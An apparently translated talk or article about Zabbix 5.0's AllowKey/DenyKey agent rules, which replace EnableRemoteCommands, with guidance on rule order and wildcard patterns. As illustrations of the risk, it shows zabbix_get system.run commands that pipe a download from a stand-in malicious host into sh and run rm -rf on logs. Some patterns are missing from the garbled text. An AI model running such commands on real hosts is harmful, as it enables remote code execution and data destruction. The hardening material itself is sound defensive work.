Support for black and white lists for metrics on the agent side in Zabbix 5.0
Support for black and white lists for metrics on the agent side
Tikhon Uskov, Integration Engineer, Zabbix
Data security concerns
Zabbix 5.0 has a new feature that improves security on systems using Zabbix Agent and replaces the old parameter EnableRemoteCommands…
Improving the security of systems using an agent is due to the fact that an agent can perform a large number of potentially dangerous actions.
- The agent can collect almost any information, including confidential or potentially dangerous information, from configuration files, log files, files with passwords or any other files.
For example, using the zabbix_get utility, you can access the list of users, their home directories, password files, etc.
Accessing data using the zabbix_get utility
NOTE… Data can only be retrieved if the agent has read access to the corresponding file… But for example the file / etc / passwd / readable by all users.
- The agent can also execute potentially dangerous commands. For example, the key *system.run** allows you to execute any remote commands on hosts, including launching scripts from the Zabbix frontend that also execute commands on the agent side.
# zabbix_get -s my.prod.host -k system.run["wget http://malicious_source -O- | sh"] # zabbix_get -s my.prod.host -k system.run["rm -rf /var/log/applog/"]
- On Linux, the agent runs without root privileges by default, while on Windows it runs as a service on behalf of System and has unrestricted access to the file system. Accordingly, if no changes are made to the Zabbix Agent parameters after installation, the agent has access to the registry, file system and can execute WMI queries.
In earlier versions, the parameter EnableRemoteCommands = 0 only allowed to disable metrics with the key *system.run** and execution of scripts from the web interface, but at the same time it was not possible to restrict access to individual files, to allow or deny individual keys that were installed with the agent, or to restrict the use of individual parameters.
Using the EnableRemoteCommand parameter in earlier versions of Zabbix
AllowKey / DenyKey
Zabbix 5.0 helps protect against such unauthorized access by whitelisting and blacklisting agent-side metrics.
In Zabbix 5.0 all keys including *system.run** are allowed, and two new agent configuration parameters have been added:
AllowKey = – permitted checks;
DenyKey = – prohibited checks;
where is a key name pattern with parameters that uses metacharacters
The AllowKey and DenyKey keys allow you to enable or disable individual metrics based on a specific pattern. Unlike other configuration parameters, the number of AllowKey / DenyKey parameters is not limited. This allows you to clearly define what exactly the agent can do in the system by creating a tree of checks – executed keys, where the order of their writing plays a very important role.
Sequence of rules
The rules are checked in the order in which they are entered in the configuration file. Key validation according to the rules occurs before the first match, and as soon as the item key matches the pattern, it is allowed or denied. After that, rule checking is stopped and the rest of the keys are ignored.
Therefore, if an element matches both an allow and a deny rule, the result will depend on which rule will be the first in the configuration file. 2 different rules with the same pattern and key[/tmp/file]
- The order of using the AllowKey / DenyKey keys:
- exact rules,
- general rules,
For example, if you need access to files in a specific folder, you must first allow access to them, and then deny everything else that does not fall under the set permissions. If the deny rule is used first, access to the folder will be denied.
Correct sequenceIf you need to allow the launch of 2 utilities via *system.run
**, and first of all, the prohibiting rule will be indicated, the utilities will not be launched, because the first pattern will always match any key, and subsequent rules will be ignored.
Fundamental rules The pattern is a wildcard expression. Metacharactermatches any number of any characters at a specific position. Metacharacters can be used both in the key name and in parameters. For example, you can hardcode the first parameter with text,
and specify the next one as a wildcard …
Parameters must be enclosed in square brackets[*— неверно
- – right
- Examples of using wildcard.
- In the key name and in the parameter. In this case, the key does not correspond to a similar key that does not contain a parameter, since in the pattern we indicated that we want to get a certain end of the key name and a certain set of parameters.
If the pattern does not use square brackets, the pattern allows all keys that do not contain parameters and prohibits all keys with the specified parameter.
- If the key is written in full, and the parameters are specified as wildcard, it will match any similar key with any parameters and will not match a key without square brackets, that is, it will be allowed or prohibited.
Parameter filling rules.
- If the use of a key with parameters is intended, the parameters must be specified in the configuration file. Parameters must be specified as a metacharacter. It is necessary to carefully deny access to any file and take into account what information the metric can give with different spelling options – with and without parameters.[*] Features of writing keys with parameters
If a key is specified with parameters, but the parameters are optional and specified as a metacharacter, a key without parameters will be allowed. For example, if you want to prevent receiving information about the load on the CPU and specify that the key system.cpu.load
should be disabled, do not forget that a key without parameters will return the average load value.
Parameter filling rules
Some rules cannot be changed by the user, for example, discovery or agent auto-registration rules. AllowKey / DenyKey rules do not affect the following parameters:
– HostMetadataItem– HostInterfaceItem NOTE…If the administrator disallows a key, Zabbix does not provide information on the request about why the metric or key falls into the category ‘NOTSUPPORTED
- ‘. The agent log files also do not display information about prohibitions on executing remote commands. This is for security reasons, but can complicate debugging if the metrics fall into an unsupported category for some reason
You should not rely on any specific order for connecting external configuration files (for example, in alphabetical order).
Command line utilities
- After configuring the rules, you need to make sure everything is configured correctly.
- You can use one of three options: Add metric to Zabbix.Test with zabbix_agentd … Zabbix agent with option -print (-p) shows all keys (which are allowed by default), except those which are not allowed by the configuration. And with the option-test (-t)for a forbidden key will return ‘
- Unsupported item key ‘.Test with zabbix_get … Utility zabbix_get with option-kwill return ‘
ZBX_NOTSUPPORTED: Unknown metric
‘. Allow or DenyYou can deny access to the file and verify, for example, using the utility
that access to the file is denied.** NOTE…
Quotes in the parameter are ignored
At the same time, access to such a file can be allowed in a different path. For example, if a symlink leads to it.
It is recommended that you check various options for applying the rules you set, and also take into account the possibilities to bypass the restrictions.Questions and answers
Question… Why is such a complex patterning scheme with its own language chosen to describe the rules, permissions and prohibitions? Why was it not possible to use, for example, regular expressions that Zabbix uses? Answer…
This is a regex performance issue as there is usually one agent and it checks a huge number of metrics. Regex is a rather heavy operation and we cannot check thousands of metrics this way. Wildcards is a universal, widely used and simple solution…
Question… Aren’t Include files in alphabetical order? Answer…
As far as I know, it is virtually impossible to predict the sequence in which the rules will be applied if you distribute rules to different files. I recommend collecting all AllowKey / DenyKey rules in one Include file, because they interact with each other, and include this file…Question… In Zabbix 5.0, the option ‘
EnableRemoteCommands =‘is missing in the config file and only AllowKey / DenyKey?
Answer. Yes that’s right
Thanks for your attention!